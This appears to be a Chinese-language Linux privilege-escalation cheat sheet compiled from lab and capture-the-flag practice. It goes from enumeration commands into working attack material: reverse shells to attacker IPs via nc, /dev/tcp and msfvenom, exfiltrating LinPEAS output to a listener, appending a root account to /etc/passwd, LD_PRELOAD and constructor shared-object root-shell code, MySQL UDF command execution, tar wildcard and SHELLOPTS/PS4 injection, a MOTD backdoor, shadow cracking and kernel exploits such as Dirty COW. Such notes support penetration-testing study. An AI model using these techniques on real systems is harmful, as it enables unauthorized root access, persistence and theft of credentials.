linux提权汇总 | xxxlinux提权汇总 – xxx
菜单

linux提权汇总

四月 24, 2024 - FreeBuf

提取的文件要认真看(.log文件之类的可能有账号密码哦)

https://gtfobins.github.io/#ed网站

shell升级为完整的TTY

常规的那个python 不行 用msf生成

msfvenom -p cmd/unix/reverse_python lhost=192.168.44.143 lport=6666 R

在反弹的shell终端输入后 kali监听 交互性变好

whereis python

python3 -c ‘import pty;pty.spawn(“/bin/bash”);’

CTRL + Z

stty raw -echo

fg

export TERM=xterm-color

还可以⽤:

rlwrap nc -lvnp <port>


rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.10.10 4444 >/tmp/f

⼿⼯枚举

whoami(⽤户枚举)

  1. id : 显示当前⽤户的 UID(⽤户 ID)、GID(组 ID)以及所属的其他组的信息。 值得记住的是,id 命令也可以⽤于获取另⼀个⽤户的相同信息,如下所示。

  2. who : 显示当前登录的⽤户及相关信息,如登录时间、终端等。

  3. whoami : 显示当前⽤户的⽤户名。

  4. w : 提供关于当前登录⽤户的详细信息,包括他们在做什么以及系统的负载信息。

  5. last : 显示系统最近的登录记录。

uname -a(内核的附加详细信息)

更全的信息查看: uname -a ; lsb_release -a; cat /proc/version /etc/issue /etc/*-release ,会有更丰富的信息,⽐如 cat /proc/version 可能会为您提供关于内核版本的信息以及其他数据,例如是否安装了GCC。

  1. uname -a :这个命令⽤于显示系统的相关信息,包括内核名称、主机名、内核发⾏版本、内核版本、硬件名称等。 -a 选项表示显示所有可⽤信息。

  2. lsb_release -a :这个命令⽤于显示Linux标准基础(LSB)的发⾏信息。 -a 选项表示显示所有可⽤信息。它将显示诸如发⾏编号、发⾏名称、发⾏描述等信息。

  3. cat /proc/version :这个命令⽤于显示内核版本和编译信息。 /proc/version ⽂件包含了内核版本、编译器版本和其他相关信息。要产看是否安装了GCC就可以⽤这条命令。

  4. cat /etc/issue :这个命令⽤于查看系统的发⾏版本信息。 /etc/issue ⽂件包含了操作系统发⾏版的名称和版本。

  5. cat /etc/*-release :这个命令⽤于查看系统发⾏版的详细信息。它会搜索 /etc/ ⽬录下所有以 -release 结尾的⽂件,并显示它们的内容。这些⽂件通常包含操作系统的发⾏名称、版本、代号等信息。

ip addr(⽹卡、⽹络配置的信息)

也可以写作 ip a ,旧版命令 ifconfig , 这些命令为我们提供有关⽹卡、⽹络配置的信息。多张⽹卡配合路由信息可以发现内⽹⽹段。

ip route :⽤于查询路由表,route是过时的命令。

ip neigh :⽤于查询邻居表,

arp -a :则⽤于显示ARP缓存,有些⼈⽤它作内⽹主机发现。

hostname(返回⽬标机器的主机名)

新内核的linux可以⽤ hostnamectl 。

sudo -l

列出允许⽤户以root权限运⾏某些(或全部)命令。

capabilities

检测capabilities

getcap -r / 2>/dev/null -r是循环 /是根目录

关于Linux capabilities ,它为进程提供了⼀部分可⽤的 root 权限⼦集。有效地将 root 权限划分成较⼩且独特的单元。然后,可以独⽴地将这些单元授予进程。这样,权限集合就会减少,降低了被利⽤的⻛险。

ls -a

在Linux中常⽤的命令之⼀可能是 ls -a参数,我⼀般直接⽤ls -liah隐藏内容详细列出。

history

使⽤ history 命令查看早期命令可以让我们了解⽬标系统,尽管很少,但可以存储诸如密码或⽤户名之类的信息

cat ~/.*history 找历史文件

ln软连接提权

看历史命令发现执行了./procwatch,查看他的权限

这种s 的代表有属组权限

执行一下

发现貌似还执行了两个命令,sh可能与shell相关,ps可能与进程相关。此时我们的提权思路就是将提权的代码写入procwatch的相关文件中,而这个操作与sh和ps相关,这样在执行procwatch的时候,由于procwatch具有s权限,就可以以root身份运行,从而触发提权。

首先建立一个软连接,将ps链接到/bin/sh,这样在执行procwatch的时候,无论是sh还是ps都会把root的sh(shell)带出来: ln -s /bin/sh ps

将当前目录.追加到环境变量的最开始:

export PATH=.:$PATH

在环境变量的路径越靠前,执行命令时寻找的目录的优先级就越高。也就是说,在我们将当前目录追加到环境变量的最开始位置之后,如果系统运行ps命令(即运行procwatch),会首先在当前目录寻找是否有名为ps的文件,又由于我们在这里添加了软连接,当前目录是存在名为ps的文件的,该文件是个指向sh的软连接,因此可以在当前目录执行ps命令,实际执行的是启动sh。 再次执行procwatch就可以提权root

/etc/passwd(发现系统用户)

尽管输出可能很⻓且有些吓⼈,但可以轻松地剪切并转换为对暴⼒破解攻击有⽤的列表。

cat /etc/passwd | cut -d ‘:’ -f 1

(cut命令用于从文本行中提取字段。在这里,它使用 -d ':'选项指定冒号 :作为字段分隔符,并使用 -f 1选项指定提取第一个字段)

这将返回所有⽤户,其中⼀些是系统或服务⽤户,可能不是很有⽤。另⼀种⽅法是查找“home”,因为真实⽤户很可能在“home”⽬录下有⾃⼰的⽂件夹

cat /etc/passwd | grep home

/etc/crontab(定时任务)

cat /etc/crontab 基本就够了

echo $PATH(环境)

就是先找哪个环境执行的顺序

⽤命令 env 显示环境变量,可以查看更全的类似信息。

ps -ef(进程)

ps -p 711

ps⽤来查看进程,要理解显示结果各数据列的意义:

PID:进程ID(进程唯⼀)

TTY:⽤户使⽤的终端类型

Time:进程使⽤的CPU时间(这不是进程运⾏的时间)

CMD:正在运⾏的命令或可执⾏⽂件(不会显示任何命令⾏参数)

“ps”命令提供了⼀些有⽤的选项。

ps -A 或 -e:查看所有运⾏进程

ps axjf :查看进程树

a参数: 该参数⽤于显示所有进程,包括其他⽤户的进程。如果不使⽤该参数,则只会显示与当前终端会话相关的进程。

x参数: 该参数⽤于显示没有连接到终端的进程。如果没有使⽤该参数,则只会显示与当前终端会话相关的进程。

j参数: 该参数⽤于显示进程树,其中包含每个进程的⽗进程和⼦进程。使⽤该参数会以树状结构的形式显示进程,让您可以轻松地识别每个进程的关系和层次结构。

f参数: 该参数可选,⽤于以完整格式显示输出结果。如果您想要更详细的输出信息,则可以使⽤此参数。

ps aux :显示所有⽤户的进程(a),显示启动进程的⽤户(u),并显示未连接到终端的进程(x)。查看ps aux命令的输出,我们可以更好地了解系统和潜在的漏洞。

top -n 1 : top 命令可以帮助⽤户监控系统性能,查看当前运⾏的进程及其资源使⽤情况,如 CPU使⽤率、内存使⽤情况等。 -n 是⼀个选项,⽤于指定 top 命令应显示的迭代次数。在这⾥, -n 1表示只运⾏ top ⼀次,然后退出。通常, top 命令会持续运⾏,定期刷新屏幕上的信息。通过指定 -n 1 , top 命令将只显示⼀次当前的进程信息,然后⽴即结束。这在需要快速查看系统状况或将 top输出重定向到⽂件中进⾏记录时⾮常有⽤。

netstat(通信)

netstat -a :显示所有正在监听的端⼝和已建⽴的连接。

netstat -at 或 netstat -au 也可⽤于分别列出TCP或UDP协议。

netstat -l :列出处于“监听”模式的端⼝。这些端⼝是打开的,并准备接受传⼊的连接。可以将其与“t”选项⼀起使⽤,仅列出使⽤TCP协议监听的端⼝(如下所示)

netstat -s :按协议列出⽹络使⽤统计数据(如下所示)也可以与 -t 或 -u 选项⼀起使⽤以限制输出到特定协议

netstat -tp :列出服务名称和PID信息的连接。这也可以与 -l 选项⼀起使⽤,以列出监听端⼝,当看到“PID/程序名称”列为空,因为此过程由另⼀个⽤户拥有。以root权限运⾏的相同命令就可以看到了。

(这些不清楚的看pdf,这边仅为了可以快速查询)

netstat -i :显示接⼝统计信息。我们在下⾯看到“eth0”和“tun0”⽐“tun1”更活跃。

可能会经常看到的 netstat ⽤法是 netstat -ano ,可以分解为:

-a :显示所有套接字

-n :不解析名称

-o命令:显示计时器

search solr(8983)

生成完整的交互

python3 script.py ip [port [command]]

后nc

python -c ‘import pty; pty.spawn(“/bin/sh”)

sudo -l

sudo su

solr (密码)

cd /root

ls

cat flag.txt

find命令(找suid位文件)

find / -perm -u=s -type f 2>/dev/null :查找设置了SUID位的⽂件,这使我们可以以⽐当前⽤户更⾼的特权级别运⾏⽂件。

在这里,-type f表示只搜索普通文件,而不包括目录或其他类型的文件。

-perm表示按照文件权限来搜索,-u=s表示搜索具有设置用户ID(SUID)权限的文件

看可写文件,不找proc sys var下的

find / -writable -type f -not -path “/proc/” -not -path “/sys/” -not -path “/var/*” 2>/dev/null

/sbin/getcap -r / 2>/dev/null (用于递归地检查和列出根文件系统(“/”)中的文件和目录的文件功能。)

测试搜索直接关键字,这里用小写:secretfile

find / -name secretfile 2>/dev/null

find / writable -type f ! -path ‘/proc/*’ 2>/dev/null

find / -writable -type f 2>/dev/null | grep -v “/proc/” |xargs ls -al |grep root

找写文件 然后路劲排除

sudo find / -type f -user www-data -writable 2>/dev/null

找www-data可写文件

这些信息通常由内核动态生成,并不代表存储在硬盘上的文件。因此,在查找可写文件时,通常没有必要包含/proc/目录,因为/proc/中的文件并不是您通常在磁盘上存储和管理的文件。

find . -exec /bin/bash -p ;

find / -group users -type f 2>/dev/null 找属于该组的文件

find / -user www-data -perm /u=x 找有该用户执行权限的文件

grep -R -i pass /home/* 2>/dev/null 找该目录下所有文件有pass的

find . -type f -name “config” 可以找含config的来看看有没有账号密码

一般都是到www目录下看看

find / -iname natraj 2>/dev/null 这个与-name区别要区别在于区分大小写。如果您想要区分大小写的匹配,请使用-name. 如果您想要不区分大小写的匹配,请使用-iname. 选择取决于您要搜索的文件名是否区分大小写。一般找的时候可以两个都试试

grep -R -i pass /home/* 2>/dev/null 发现用户有好几个,用户家里的文件既多又乱,那么就递归搜索home目录下的所有文件,不区分大小写,检查关键字:pass,然后发现了一个敏感文件

which(找可执行文件)

which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp tmux screen 2>/dev/null

这个命令是用于在系统上查找指定的可执行文件(例如awkperlpythonrubygccccvivimnmapfindnetcatncwgettftpftptmuxscreen等),并将它们的路径显示在终端上。2>/dev/null部分是将错误输出重定向到 /dev/null,以防止看到不必要的错误信息。

  1. which: 查找命令所在的位置,并返回找到的第⼀个命令的完整路径。它会在系统PATH环境变量中指定的⽬录中查找,并返回找到的第⼀个可执⾏⽂件的路径。如果该命令在多个⽬录中都存在,则只返回最先找到的那个命令的位置。因此,which命令通常⽤于查找可执⾏⽂件的位置。

/etc/fstab(检测未挂载的⽂件系统)

cat /etc/fstab

cd /home看几个用户

⾃动化枚举

  1. LinPEAS,全称为Linux Privilege Escalation Awesome Script,是⼀个⽤来搜索类unix主机上可能的提权路径的⾃动化脚本。Github:https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

  2. LinEnum:⼀个流⾏的 Linux 本地枚举脚本,⽤于收集有关系统的各种信息,识别不安全的配置,提取可⽤于提升权限的漏洞信息。 GitHub:https://github.com/rebootuser/LinEnum

  3. linux-smart-enumeration (lse):这是⼀个具有模块化功能的 Linux 本地枚举脚本,它可在不同的等级上运⾏以获取不同详细程度的信息。 GitHub:https://github.com/diego-treitos/linux-smart-enumeration

  4. linux-exploit-suggester:该⼯具主要⽤于识别 Linux 系统中可能存在的可利⽤的漏洞,以帮助⽤户提升权限。 GitHub:https://github.com/mzet-/linux-exploit-suggester

  5. Linuxprivchecker:⼀个⽤于检查 Linux 系统潜在安全问题的 Python 脚本,包括⽂件权限、系统服务和 SUID ⼆进制⽂件等。 GitHub:https://github.com/sleventyeleven/linuxprivchecker

  6. unix-privesc-check:这个脚本主要⽤于识别 类UNIX 系统中可能的权限升级路径,通过检查⽂件权限、系统配置等⽅⾯的问题。 GitHub:https://github.com/pentestmonkey/unix-privesc-check

LinPEAS最佳实践

测试一下echo > /dev/tcp/192.168.44.129/80能不能获得数据,这样也能看出是不是sh没能正确执行。如果能收到,估计也能看出为什么sh不能执行了。

sudo php -S 0:80 python3 -m SimpleHTTPServer

python -m SimpleHTTPServer 80

python3 -m http.server 80

# 从Github直接执⾏

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh| sh

当然,⽤wget下载后,给权限,单独执⾏也可以,但不是最佳实践

本地⽹络下载

sudo python3 -m http.server 80 #kali

curl 10.10.10.10/linpeas.sh | sh #靶机

从内存中执⾏,结果发回kali

nc -lvnp 81 | tee linpeas.out #kali | tee linpeas.out:这部分命令使用tee命令捕获nc`命令的输出并将其写入名为“linpeas.out.txt”的文件中

curl 10.10.10.10/linpeas.sh | sh | nc 10.10.10.10 81 #靶机发送脚本检测数据,kali监听

  1. | sh:输出通过管道curl传输到sh命令中,这意味着下载的脚本作为 shell 脚本执行。

  2. | nc 10.10.10.10 81:最后,执行脚本的输出通过管道传输到nc(netcat) 命令,该命令尝试将输出发送到端口 81 上 IP 地址 10.10.10.10 的另一台主机。

没有curl的情况

sudo nc -q 5 -lvnp 80 < linpeas.sh #kali

cat < /dev/tcp/10.10.10.10/80 | sh #靶机

输出到⽂件

./linpeas.sh -a > /dev/shm/linpeas.txt #主机

less -r /dev/shm/linpeas.txt #读取分⾊⽂件

less允许您一次一屏查看文本文件-r选项指示less解释文件中的控制字符和转义序列,例如颜色代码和特殊格式。这对于查看包含特殊字符或格式的文件很有帮助。

使⽤LinPEAS⼆进制⽂件

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64

chmod +x linpeas_linux_amd64

./linpeas_linux_amd64

服务漏洞利⽤(udf)

use mysql;

select * from func;

有个sys_exec函数(windows提权的这个与.dll文件配合)

select sys_exec(‘usermod -a -G admin john’);

usermod -a -G admin john':这是您要执行的命令。它似乎是一个 Unix/Linux 命令,用于将用户“john”添加到“admin”组。该-a标志将用户附加到组中,并-G指定组名称

或者

select sys_exec(‘cp /bin/sh /tmp/; chown root:root /tmp/sh; chmod +s /tmp/sh’);

cd /tmp ./sh

提权条件

  1. 掌握mysql数据库的账户,该账户对mysql拥有create、insert、delete等权限,以创建和使⽤函数(最好直接是root账户)

  2. secure file_priv为空:要看:show variables like ‘%secure_file_priv%’;(show global variables like ‘%secure%’;)

    这是能否利⽤udf提权的重要条件。secure_file_priv这个权限意味着什么:secure_file_priv是⼀个MySQL 系统变量,⽤于限制LOAD DATA,SELECT … INTO OUTFILE和LOAD_FILE()等⽂件操作的范围。它可以限制这些操作仅在特定⽬录下进⾏,以增强服务器的安全性。没错,这个权限只相关这两项关键操作。当 secure_file_priv 设置为⼀个⾮空⽬录路径时,这些操作仅允许在指定的⽬录下进⾏。这可以防⽌潜在的安全漏洞,如未经授权的⽂件访问或⽂件写⼊。⽐如,secure_file_priv设置为/var/lib/mysql-files/,这意味着只允许在该⽬录下进⾏⽂件操作。如果secure_file_priv设置为空字符串(**”),则不限制这些操作的范围,这可能会导致安全⻛险。如果设置为 NULL (/_nʌl/),则禁⽤这些操作,⽆法进⾏任何与⽂件相关的操作。总的来说,secure_file_priv ⽤于限制⽂件操作,提⾼ MySQL 服务器的安全性。

  3. show variables like ‘%plugin%’; 不同的数据库版本,这个路径有差别,所以要提权查询,备⽤。 查看一下plugin目录在哪

准备利⽤⽂件

searchsploit mysql udf

searchsploit mysql udf -m 1518

要将文件上传至靶机

cd /home/user/tools/mysql-udf/ ls (靶机的目录看有没有)

gcc -g -c raptor_udf2.c -fPIC (这些编译是查看1518内容告诉我们的)

gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

(参数解释看pdf)

利⽤过程

use mysql; (mysql -u -root -p) 进来后验证前提条件

create table foo(line blob);

insert into foo values(load_file(‘/tmp/raptor_udf2.so’));

select * from foo into dumpfile ‘/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so’;

这个路径要与查询plugin的一致

create function do_system returns integer soname ‘raptor_udf2.so’; #创建自定义函数sys_exec 类型是integer,别名 soname 文件名

这项操作,⼀般是找plugin⽬录中的.so⽂件的,创建函数

https://github.com/rapid7/metasploit-framework/blob/master/data/exploits/mysql/lib_mysqludf_sys_64.so

这里面有其它可以用的exp

执⾏udf:

select do_system(‘cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash’);

这个函数可以执行命令

提权:

/tmp/rootbash -p

可读shadow⽂件利⽤提权

利⽤过程

ls -liah /etc/shadow 看shadow的权限

cat /etc/shadow

cat /etc/shadow | grep ‘:$’

来到kali

vim建立一个hash文件把上面的grep抓取的hash值放进去

sudo john hash –wordlist=/usr/share/wordlists/rockyou.txt

$1$ :MD5

$2a$ 、 $2b$ 、 $2y$ :Bcrypt

$5$ :SHA-256s

$6$ :SHA-512

su 然后输入上面破解的密码就提权了

可写shadow⽂件利⽤提权

ls -liah /etc/shadow

cp /etc/shadow /tmp/shadow.bak (因为要改动所以先cp一份防止意外)

mkpasswd -m sha-512 RedteamNotes (mkpasswd是hash加密工具(可以先用hash-identifier看一下它的加密算法)

vim /etc/shadow (更换换密码)

cat /etc/shadow | grep root

su登入

可写passwd⽂件利⽤提权

ls -liah /etc/passwd

openssl passwd RedteamNotes openssl passwd -1 -salt a a

echo ‘a:$1$a$44cUw6Nm5bX0muHWNIwub0:0:0::/root:/bin/bash’ >> /etc/passwd

-1表示使用 MD5 加密算法,-salt a指定了盐为 “a”,最后的 “a” 是要加密的原始密码。

cp /etc/passwd /tmp/passwd.bak

vim /etc/passwd

cat /etc/passwd | grep root

su

sudo环境变量提权( LD_PRELOAD)

简单来说就是在执行某一个有sudo权限的命令,这条命令在找环境目录前会先执行我们创建的有Bin/bash的共享文件

sudo -l 可能会看到 LD_PRELOAD 环境选项。

user@debian:~$ sudo -l

Matching Defaults entries for user on this host:

env_reset, env_keep+=LD_PRELOAD

User user may run the following commands on this host:

(root) NOPASSWD: /usr/sbin/iftop

(root) NOPASSWD: /usr/bin/find

LD_PRELOAD 是允许任何程序使⽤共享库的功能。如果启⽤了“env_keep”选项,我们可以⽣成⼀个共享库,该共享库将在运⾏程序之前加载和执⾏。请注意,如果真实⽤户 ID 与有效⽤户 ID 不同,则将忽略 LD_PRELOAD 选项。

此提权⽅法的步骤是:

  1. 检查 LD_PRELOAD(带有 env_keep 选项)

  2. 编写⼀个简单的 C 代码作为共享对象(.so 扩展名)⽂件编译

  3. 使⽤ sudo 权限和指向我们的 .so ⽂件的 LD_PRELOAD 选项运⾏程序

利⽤过程

C 代码将简单地⽣成⼀个 root shell,可如下这样编写:

#include <stdio.h>

#include <sys/types.h>

#include <stdlib.h>

void _init() {

unsetenv(“LD_PRELOAD”);

setgid(0);

setuid(0);

system(“/bin/bash”);

}

我们可以将此代码保存为 shell.c,并使⽤以下参数,⽤ gcc 编译为共享对象⽂件:gcc -fPIC -shared -o shell.so shell.c -nostartfiles

可以在启动⽤户可以使⽤ sudo 运⾏的任何程序时使⽤此共享对象⽂件。在我们的例⼦中,Apache2、find 或⼏乎我们可以使⽤ sudo 运⾏的任何程序都可以使⽤。

需要通过指定 LD_PRELOAD 选项运⾏程序,如下所示:

sudo LD_PRELOAD=/home/user/ldpreload/shell.so find (/home/user/ldpreload/shell.so刚刚生成后文件的路径)

这将⽣成 root 权限的 shell。

⾃动任务⽂件权限提权

cat /etc/crontab (有个定时文件)

locate overwrite.sh

ls -liah /usr/local/bin/overwrite.sh

cat /usr/local/bin/overwrite.sh 看一下里面有什么

(#!/bin/bash

echo date> /tmp/useless)

vim /usr/local/bin/overwrite.sh

(#!/bin/bash

bash -i >& /dev/tcp/10.10.10.10/4444 0>&1)或者echo “nc -e /bin/bash 192.168.229.128 4455” > logrot.sh

cat /usr/local/bin/overwrite.sh

kali监听 sudo nc -lvnp 4444

⾃动任务PATH环境变量提权

简单来说就是crontab的path优先环境变量是/home/user,而当前用户目录pwd也是这个,vim一下定时任务,就会优先执行这个环境下的。

cat /etc/crontab

locate overwrite.sh (这个的环境变量/usr/local/和crontab指定的path不一样,但是执行时会先找crontab的排在最前面的path路径/home/user)

pwd (当前在的就是/home/user)

vim overwrite.sh (用这个定时任务是因为它不是固定的路径)

cat overwrite.sh

(#!/bin/bash

cp /bin/bash /tmp/rootbash)

chmod +xs overwrite.sh

date

date(时间过一分钟可以提权了)

/tmp/rootbash -p

⾃动任务通配符提权(tar *)

cat /etc/crontab

user@RedteamNotes:~$ cat /usr/local/bin/compress.sh

(#!/bin/sh

cd /home/user

tar czf /tmp/backup.tar.gz *)

tar –help | grep checkpoint (可以利用检查点checkpoint来进行提权利用)

在kali中:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elf (二进制文件的反弹shell)

sudo php -S 0:80 php的服务器

在靶机中:

wget https://10.10.10.10/shell.elf

chmod +xs shell.elf

pwd

touch /home/user/–checkpoint int=1

touch /home/user/–checkpoint=exec=shell.elf

在kali中建⽴监听

sudo nc -lvnp 4444

约1分钟,接到反弹shell

SUID可执⾏⽂件已知利⽤提权(exim 4.84)

find / -perm -u=s -type f 2>/dev/null (找有suid的文件)

在kali中:

searchsploit exim 4.84

searchsploit exim -m 39535

sudo php -S 0:80

回到靶机中:

wget http://10.10.10.10/39535.sh

chmod +xs 39535.sh

./39535.sh

SUID共享库注⼊提权(suid-so)

这里对于config文件这些不是很理解

find / -perm -u=s -type f 2>/dev/null

/usr/local/bin/suid-so 执行看有什么,没什么

strings /usr/local/bin/suid-so 看一下可读的字符串(就是读文件) 看到so要想到linux的共享动态目标

strace /usr/local/bin/suid-so 2>&1| grep ‘/home/user’ strace工具进行追踪执行

这种情况他想操作家目录 权限没找到,就可以提权

没有.config文件,我们创建提权就可了可能

pwd

mkdir .config

cd .config/

vim libcalc.c

#include <stdio.h>

#include <stdlib.h>

static void inject() attribute((constructor));

void inject() {

setuid(0);

system(“/bin/bash -p”);

}

gcc -shared -fPIC -o libcalc.so libcalc.c

/usr/local/bin/suid-so

意思就是本来找不到.so文件再config目录下,现在我们创建了一个

SUID环境变量利⽤提权(env)

find / -perm -u=s -type f 2>/dev/null

/usr/local/bin/suid-env 执行一下

(执行内容:Starting web server: apache2httpd (pid 1596) already running)

strings /usr/local/bin/suid-env

有个apache服务,没有设置绝对路径,就回去path指定的路径集里面去找,相对路径可以劫持。

vim service.c

gcc -o service service.c

ls

echo $PATH (看一下当前的路径集,第一个不是目前的目录)

export PATH=.:$PATH (.当前路径) 就是将我们创建的server文件的目录复制到path路径集的最前面,就会优先执行这个路径下的server文件

echo $PATH

(.:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/sbin:/usr/sbin:/usr/local/sbin)优先读取. 就是优先读取当前目录的server,就是上面创建的

/usr/local/bin/suid-env

环境变量劫持

发现了一个jose用户,之后通过遍历在/var/www/html/wordpress/wp-config.php文件中发现了jose用户的密码645dc5a8871d2a4269d4cbe23f6ae103开始以为是个md5,后来发现没有经过加密 直接切换到jose用户

find / -perm -u=s -type f 2>/dev/null

发现status命令不太常见,执行一下

看到status使用了service命令,但是为未使用service的绝对路径,所以可以尝试更改$PATH来执行该文件

cd /tmp

echo “/bin/bash” > service

chmod 777 service

echo $PATH

export PATH=/tmp:$PATH #将/tmp添加到环境变量中

status

巧⽤SUID-shell功能提权#1(bash<4.2)

find / -perm -u=s -type f 2>/dev/null

/usr/local/bin/suid-env2

strings /usr/local/bin/suid-env2

有这个信息记得看bash版本

/bin/bash –version (bash<4.2可以定义函数用路径组合做文件名)

function /usr/sbin/service { /bin/bash -p; }

export -f /usr/sbin/service 把函数导到环境中

/usr/local/bin/suid-env2

巧⽤SUID-shell功能提权#2(bash<4.4)

find / -perm -u=s -type f 2>/dev/null

/bin/bash –version (bash<4.4调试环境下对于bash的环境变量进行设置

env -i SHELLOPTS=xtrace PS4=’$(cp /bin/bash /tmp/rootbash;chmod +xs /tmp/rootbash)’ /usr/local/bin/suid-env2

这段环境变量的参数意思去看pdf

/tmp/rootbash -p

密码和密钥历史⽂件提权

cat ~/.*history

(ls -al

cat .bash_history

ls -al

mysql -h somehost.local -uroot -ppassword123

exit

cd /tmp

clear

ifconfig

netstat -antp

nano myvpn.ovpn

ls

identify)

su (直接用上面的mysql的碰撞一下)

密码和密钥配置⽂件查看提权

当有网站的就要看数据库的配置文件,当有家目录的就看看vpn的或者ssh的

pwd

ls -liha

cat myvpn.ovpn

cat /etc/openvpn/auth.txt

(root

password123)

su

SSH密钥敏感信息提权

靶机

pwd 是在家目录下

ls -liah /

(有个1175041 drwls -liah /xr-xr-x 2 root root 4.0K Aug 25 2019 .ssh)

ls -liah /.ssh

(有个1175042 -rw-r–r– 1 root root 1.7K Aug 25 2019 root_key)

cat /.ssh/root_key

在kali中:

vim id_rsa(就是上面的root_key里的值)这个设置私钥

cat id_rsa

sudo chmod 600 id_rsa

ls -liah id_rsa

ssh -i id_rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa root@10.10.174.100 ( -o是选类型

备选的搜索命令:

find / -name authorized_keys 2> /dev/null

find / -name id_rsa 2> /dev/null

NFS提权(cat /etc/exports)

cat /etc/exports (里面有nfs的) 共享文件

(有个这个 /tmp *(rw,sync,insecure,no_root_squash,no_subtree_check))

no_root_squash 是 NFS(Network File System)共享设置中的⼀个选项。它的作⽤是允许 root ⽤户在 NFS 客户端机器上拥有和在 NFS 服务器上相同的权限

在kali中:

su

mkdir /tmp/nfs

mount -o rw,vers=3 10.10.10.12:/tmp /tmp/nfs (挂载)

cd /tmp/nfs

msfvenom -p linux/x86/exec CMD=”/bin/bash -p” -f elf -o /tmp/nfs/shell.elf

chmod +xs shell.elf

在靶机中:

cd /tmp

ls 有shell.elf了

./shell.elf(或/tmp/shell.elf)

内核利⽤提权

uname -a

按照⾃动化枚举linpeas的⽤法,扫描结果显示最可能有diry cow漏洞。

searchsploit dirty cow

40611和40839都可以利⽤,40839会更直观。下载40839.c查看编译和⽤法:

searcsploit dirty cow -m 40839

head -n 25 40839.c 查看使用方法

架设简易web服务器,通过wget将40839.c下载到靶机的/tmp⽬录,编译后执⾏

cd /tmp

wget http://10.10.10.10/40839.c

gcc -pthread 40839.c -o dirty -lcrypt

./dirty 需要自己设置一个密码

按照利⽤提示的⽤法,执⾏提权操作

su

Linux Kernel CVEs | All CVEs

可以网上找poc (这个网址可以借鉴)

可以直接使⽤已编译的漏洞利⽤,如Binary Exploits(https://gitlab.com/exploit-database/exploitdbbin-sploits)上就有⽐较全的内核漏洞编译⽂件,或可节约编译的探索时间,但的确有⼀定⼏率不成功,需要重新编译,甚⾄本地编译。Linux Kernel CVEs(https://www.linuxkernelcves.com)是⼀个直观的内核CVE检索⽬录。

CVE-2022-0847 (DirtyPipe)

Linux Privilege Escalation – Linux Kernel 5.8 < 5.16.11

https://www.exploit-db.com/exploits/50808

CVE-2010-3904 (RDS)

Linux RDS Exploit – Linux Kernel <= 2.6.36-rc8

https://www.exploit-db.com/exploits/15285/

CVE-2010-4258 (Full Nelson)

Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04)

https://www.exploit-db.com/exploits/15704/

CVE-2012-0056 (Mempodipper)

Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)

https://www.exploit-db.com/exploits/18411

内核提权之脏牛 影响范围:Linux 内核2.6.22 – 3.9 (x86/x64)

unbutun14.04 用37292

doas less+vi提权(OpenBSD系统)

uname -a看到了openbsd操作系统

⽤ find / -perm -u=s -type f 2>/dev/null 发现有 /usr/bin/doas 可执⾏⽂件。

find / -name doas* -type f 2>/dev/null(要查找的就是有哪些指令可以免密doas运行或者根据doas的⽤法,直接查看其配置⽂件)

cat /etc/doas.conf

(permit nopass keepenv user as root cmd /usr/bin/less args /var/log/authlog permit nopass keepenv root as root)

按照提示执⾏:

doas /usr/bin/less /var/log/authlog

在less界⾯按v键启动vi编辑状态。按照vi启动shell的命令语法,在vi中执⾏

:!sh (这边的shell就是提权后的了 )

扩展和说明

OpenBSD 是⼀个基于 Berkeley Software Distribution (BSD) 的开源操作系统,强调正确性、简单性和安全性。这个系统中的 “doas” 是⼀个命令⾏⼯具,设计⽤来提供超级⽤户权限(类似于 Linux 中的”sudo” 命令),允许普通⽤户执⾏需要超级⽤户权限的操作。

“doas” 的配置⽂件默认位置是 /etc/doas.conf 。此配置⽂件规定了哪些⽤户可以使⽤ “doas” 命令以及他们可以执⾏的命令范围。

⼀个基本的 “doas.conf” ⽂件的条⽬可能会如下所示:

permit keepenv :wheel

这个条⽬允许 “wheel” 组的所有成员使⽤ “doas” 命令执⾏任何操作,并保留他们的环境变量。

“doas.conf” ⽂件的每⼀⾏都代表⼀个规则,这些规则按照⽂件中的顺序进⾏处理。⼀旦找到⼀个匹配的规则,系统就会停⽌搜索,所以具有最⼤限制的规则通常会放在⽂件的顶部。

更复杂的规则可以限制⽤户能够运⾏的具体命令,例如:

permit nopass jsmith as root cmd reboot

这个规则允许⽤户 “jsmith” 不需要密码就可以作为 root ⽤户运⾏ “reboot” 命令。

请注意,修改 “doas.conf” ⽂件需要超级⽤户权限,并且⼀定要谨慎处理,因为错误的配置可能会导致系统安全性的问题。

利⽤MOTD机制提权

枚举

ls -al /etc/update-motd.d/ (cd /etc/update-motd.d ls)

看到00-header 还有uodate就会想到利用这个 cat 00-header

利⽤过程

echo ‘cp /bin/bash /tmp/bash;chmod 4777 /tmp/bash’ >> 00-header

提权:

/tmp/bash -p

这一部分有点乱,后面打靶的时候回来补充

nohup

nohup /bin/sh -p -c “sh -p <$(tty) >$(tty) 2>$(tty)”

可预测PRNG暴⼒破解SSH提权(OpenSSL 0.9.8c-1 < 0.9.8g-9)

在OpenSSL 0.9.8c-1 < 0.9.8g-9 的debian及衍⽣版本中有可预测伪随机谁⽣成机制的SSH暴⼒破解利⽤。authorized_keys是公钥()公钥是放服务器上的,私钥是管理员想登入连接的 prng是非对称加密

searchsploit prng 9.8

searchsploit -m 5622.txt (拿到私钥对其碰撞)

5622.txt中介绍了使⽤⽅法。

  1. 下载 https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2密钥对包

